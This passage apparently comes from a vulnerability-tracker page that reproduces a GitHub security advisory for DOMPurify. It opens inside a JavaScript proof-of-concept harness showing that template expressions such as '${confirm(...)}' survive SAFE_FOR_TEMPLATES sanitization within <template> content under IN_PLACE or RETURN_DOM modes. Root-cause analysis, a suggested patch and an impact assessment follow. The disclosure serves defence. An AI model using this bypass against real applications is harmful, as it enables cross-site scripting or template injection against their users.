tmplEl.content.appendChild(document.createTextNode(\u0027{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}\u0027));\n  container.appendChild(tmplEl);\n\n  document.getElementById(\u0027input-poc3\u0027).textContent =\n    \u0027// Programmatically constructed DOM node:\\n\u0027 +\n    \u0027template.content.childNodes[0].data = \"$\"\\n\u0027 +\n    \u0027template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n\u0027 +\n    \u0027// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })\u0027;\n\n  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n  DOMPurify.sanitize(container, {\n    IN_PLACE: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = container.querySelector(\u0027template\u0027);\n  const nodesAfter = [...tmplAfter.content.childNodes].map(n =\u003e n.nodeValue);\n  document.getElementById(\u0027nodes-poc3\u0027).textContent =\n    \u0027childNodes[0].data = \u0027 + JSON.stringify(nodesAfter[0]) + \u0027\\n\u0027 +\n    \u0027childNodes[1].data = \u0027 + JSON.stringify(nodesAfter[1]) + \u0027\\n\\n\u0027 +\n    \u0027\u2192 _scrubTemplateExpressions() did not enter template.content\\n\u0027 +\n    \u0027\u2192 Both nodes unchanged after sanitization.\u0027;\n\n  log(\u0027PoC 3: Nodes after IN_PLACE sanitize: \u0027 + nodesAfter.map(n =\u003e JSON.stringify(n)).join(\u0027, \u0027), \u0027warn\u0027);\n\n  tmplAfter.content.normalize();\n  const merged = tmplAfter.content.textContent;\n  document.getElementById(\u0027merged-poc3\u0027).textContent = merged;\n\n  log(\u0027PoC 3: Merged: \u0027 + merged, \u0027warn\u0027);\n\n  try {\n    const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n    document.getElementById(\u0027exec-poc3\u0027).textContent =\n      \u0027\u2714 new Function() returned: \u0027 + result + \u0027\\n\u0027 +\n      \u0027confirm() dialog shown. XSS confirmed via IN_PLACE mode.\u0027;\n    setBadge(\u0027poc3\u0027, \u0027PASS\u0027);\n    markXSS(\u0027PoC 3\u0027);\n  } catch (e) {\n    document.getElementById(\u0027exec-poc3\u0027).textContent = \u0027Error: \u0027 + e.message;\n    setBadge(\u0027poc3\u0027, \u0027ERROR\u0027);\n    log(\u0027PoC 3 error: \u0027 + e.message, \u0027warn\u0027);\n  }\n}\n\n// \u2500\u2500 Control: string output must block \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runControl() {\n  log(\u0027Running control - string output path (should block)...\u0027, \u0027info\u0027);\n\n  const dirty =\n    \u0027\u003ctemplate\u003e\u0027 +\n      \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n      \u0027\u003cx-split-2\u003e{confirm(\"this should never fire\")}\u003c/x-split-2\u003e\u0027 +\n    \u0027\u003c/template\u003e\u0027;\n\n  document.getElementById(\u0027input-ctrl\u0027).textContent = dirty;\n\n  // Default string output - NOT using RETURN_DOM\n  const sanitized = DOMPurify.sanitize(dirty, {\n    SAFE_FOR_TEMPLATES: true,\n    // RETURN_DOM intentionally omitted - string path is safe\n  });\n\n  document.getElementById(\u0027output-ctrl\u0027).textContent = sanitized;\n\n  const blocked = !sanitized.includes(\u0027${\u0027) \u0026\u0026 !sanitized.includes(\u0027{confirm\u0027);\n  if (blocked) {\n    setBadge(\u0027ctrl\u0027, \u0027BLOCK\u0027);\n    log(\u0027Control: String output correctly stripped the expression. Output: \u0027 + sanitized, \u0027ok\u0027);\n  } else {\n    setBadge(\u0027ctrl\u0027, \u0027PASS\u0027); // unexpected\n    log(\u0027Control: UNEXPECTED - expression survived string output path: \u0027 + sanitized, \u0027fail\u0027);\n  }\n}\n\n// \u2500\u2500 Run all \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runAll() {\n  document.getElementById(\u0027log\u0027).innerHTML = \u0027\u0027;\n  xssConfirmed = false;\n  document.getElementById(\u0027xss-banner\u0027).style.display = \u0027none\u0027;\n  log(\u0027=== Starting full test run ===\u0027, \u0027info\u0027);\n  runPoC1();\n  runPoC2();\n  runPoC3();\n  runControl();\n  log(\u0027=== Test run complete ===\u0027, \u0027info\u0027);\n}\n\u003c/script\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `\u003ctemplate\u003e.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize(); // Does NOT normalize inside \u003ctemplate\u003e.content (DOM spec)\n  const walker = createNodeIterator.call(\n    node.ownerDocument || node,\n    node,            // NodeIterator does NOT enter \u003ctemplate\u003e.content\n    NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n    NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n    null\n  );\n  // Scrubs nodes it finds, but never sees \u003ctemplate\u003e content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `\u003ctemplate\u003e.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n  _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize();\n  const walker = createNodeIterator.call( /* existing args */ );\n\n  // ... existing scrub loop ...\n\n  // NEW: recurse into \u003ctemplate\u003e.content, mirroring _sanitizeShadowDOM\n  const templates = (node as Element).querySelectorAll?.(\u0027template\u0027) ?? [];\n  arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) =\u003e {\n    if (_isDocumentFragment(tmpl.content)) {\n      _scrubTemplateExpressions(tmpl.content as unknown as Element);\n    }\n  });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `\u003ctemplate\u003e` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `\u003c%...%\u003e`) into the sanitized DOM output inside `\u003ctemplate\u003e` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `\u003ctemplate\u003e.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067\u20132071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n    serializedHTML = stringReplace(serializedHTML, expr, \u0027 \u0027);\n  });\n}\n```",
  "id": "GHSA-gvmj-g25r-r7wr",
  "modified": "2026-06-15T20:02:40Z",
  "published": "2026-06-15T20:02:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside \u003ctemplate\u003e content when using DOM output modes"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…